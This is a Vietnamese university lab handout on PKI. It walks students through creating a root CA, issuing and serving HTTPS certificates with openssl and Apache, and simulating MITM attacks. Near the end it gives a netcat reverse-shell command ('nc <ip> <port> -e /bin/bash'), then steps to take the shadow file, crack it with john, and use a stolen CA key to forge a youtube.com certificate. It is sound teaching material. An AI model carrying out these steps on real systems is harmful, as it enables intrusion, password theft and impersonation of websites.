BÀI THỰC HÀNH: PKI-LAB

1. **Mục đích**

Giúp sinh viên hiểu được cơ sở hạ tầng khóa công khai PKI , cách sử dụng PKI để bảo vệ web và tránh cuộc tấn công MITM . ngoài ra sinh viên có thể hiểu thêm được chuyện gì sẽ xảy ra nếu trung tâm chứng chỉ gốc được tin cậy bị phá vỡ.

2. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux,có kiến thức cơ bản về hạ tầng khóa công khai PKI

3. **Nội dung thực hành**

- Tải bài lab:

imodule https://github.com/congtoan123/labtainer-ptit-pki/raw/main/imodule.tar

- Khởi động bài lab:

  Vào terminal, gõ :

  labtainer -r ptit-pki-lab

  (chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

  Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy làm việc đặt tên là kpi_lab, một máy là attacker.

- Tạo chứng chỉ gốc CA:
- Trên máy **server**:

  Tạo thư mục cha PKI và các thư mục con demoCA

  Trong demoCA gồm cert,crl,newcerts,index.txt và serial lưu giá trị là 1000.

  mkdir PKI
  cd PKI
  mkdir demoCA
  cd demoCA
  mkdir certs crl newcerts
  touch index.txt
  echo 1000>serial

- Copy file cấu hình từ thư mục /usr/lib/ssl/openssl.cnf vào thư mục PKI:

  cp “usr /lib/ssl/openssl.cnf” “/home/ubuntu/PKI”

- Tạo chứng chỉ gốc CA và thông tin chữ kí và khóa công khai, khóa bí mật:

  openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -keyout ca.key -out ca.crt -subj "/C=VN/ST=HN/L=HD/O=PTIT/OU=ATTT/CN=<MSV>" -passout pass:<your password>

- Kiểm tra thông tin chứng chỉ gốc và khóa bí mật:

  openssl x509 -in ca.crt -text -noout
  openssl rsa -in ca.key -text -noout

- Tiếp theo ta sẽ tiến hành tạo chứng chỉ số cho máy chỉ PKILab.com
- Tạo yêu cầu chứng chỉ (CSR) và cặp khóa cho máy chủ PKILab.com:

  openssl req -newkey rsa:2048 -sha256 -keyout server.key -out server.csr -subj "/C=VN/ST=HN/L=HD/O=PTIT/OU=ATTT/CN=PKILab.com" -passout pass:<your password>
- Kiểm tra lại thông tin:
  openssl req -in server.csr -text -noout
  openssl rsa -in server.key -text -noout
- Kí bằng chứng chỉ và khóa của CA:
  openssl ca -config openssl.cnf -policy policy_anything -md sha256 -days 3650 -in server.csr -out server.crt -batch -cert ca.crt -keyfile ca.key
- Triển khai chứng chỉ trong 1 máy chủ web bằng cách cấu hình DNS map tên máy chủ tới localhost trong /etc/hosts
- Copy khóa và chèn thêm chữ kí
  cp server.key server.pem
  cat server.crt >> server.pem

- Thiết lập máy chủ SSL/TLS đơn giản bằng lệnh
  openssl s_server -cert server.pem -www

- Thiết lập quản lí chứng chỉ trên firefox để có thể vào được web với giao thức https bằng chứng chỉ hợp lệ.

- Tiến hành sửa 1 bit khóa bí mật và kiểm tra :Sửa khóa bí mật trong file *server.pem*

- Thiết lập máy chủ SSL/TLS đơn giản và quan sát :
  openssl s_server -cert server.pem -www

- Chỉnh sửa lại khóa bí mật trong file server.pem về cho đúng với ban đầu
- Triển khai chứng chỉ trong trang web HTTPS dựa trên Apache
  Tạo thư mục pki trong */var/www* chứa file *index.html*
  Tạo thư mục ssl trong */etc/apache2*
  Copy khóa và chứng chỉ server vào */etc/apache2/ssl*
- Thêm mục Virtualhost vào tệp 000-default.conf với nội dung :
  *<VirtualHost *:80>*
  ServerName PKILAB.com
  DocumentRoot /var/www/pki
  DirectoryIndex index.html

</VirtualHost>

- Thêm mục Virtualhost vào tệp default-ssl.conf trong cùng một thư mục.
  *<VirtualHost *:443>*
  ServerName PKILAB.com
  DocumentRoot /var/www/pki
  DirectoryIndex index.html
  SSLEngine On
  SSLCertificateFile /etc/apache2/ssl/ cert.pem
  SSLCertificateKeyFile /etc/apache2/ssl/key.pem
  </VirtualHost>
- Enable SSL module và kích hoạt trang web chúng ta vừa thêm vào sau đó khởi động lại dịch vụ apache và nhậm mật khẩu đã đặt trước đó :
  sudo a2enmod ssl
  sudo a2ensite default-ssl
  sudo systemctl restart apache2
- Truy cập https://PKILab.com trên firefox và quan sát.
- Khởi chạy cuộc tấn công MITM:
  Chỉnh sửa serverName trong default-ssl.conf thành instagram.com
  Chỉnh sửa /etc/hosts : localhost trỏ đến instagram.com
  Khởi động lại dịch vụ apache: truy cập https://instagram.com bằng firefox và quan sát chuyện gì sẽ xảy ra rồi sau đó thử truy cập http://instagram.com
- Tiếp theo ta sẽ tiến hành tấn công MITM với CA bị khai thác và xem chuyện gì sẽ xảy ra.
- Trên máy **attacker** khởi động netcat lắng nghe kết nối
  nc -lnvp <port>
- Trên máy **server** kết nối đến shell
  nc <ip> <port> -e /bin/bash
- Lấy file shadow về máy và dùng john để crack
- Ssh vào chiếm quyền kiểm soát máy server
- Phát động cuộc tấn công MITM với CA bị tấn công.
  Tạo một yêu cầu kí mới cho host : youtube.com
  Kí bằng chữ kí và khóa CA gốc :
  Copy chữ kí vào thư mục /etc/apache2/ssl
  Ánh xạ localhost đên youtube.com sau đó khởi động lại apache2 và truy cập https://youtube.com trên firefox và quan sát.
- Kết thúc bài lab:
  - Kiểm tra checkwork:
    checkwork
  - Trên terminal đầu tiên sử dụng câu lệnh sau để kết thục bài lab:
    Stoplab

    - Khi bài lab kết thúc, một tệp zip lưu kết quả được tạp và lưu vào một vị trí hiển thị dưới stoplab
- Khởi động lại bài lab:
  labtainer -r ptit-pki-lab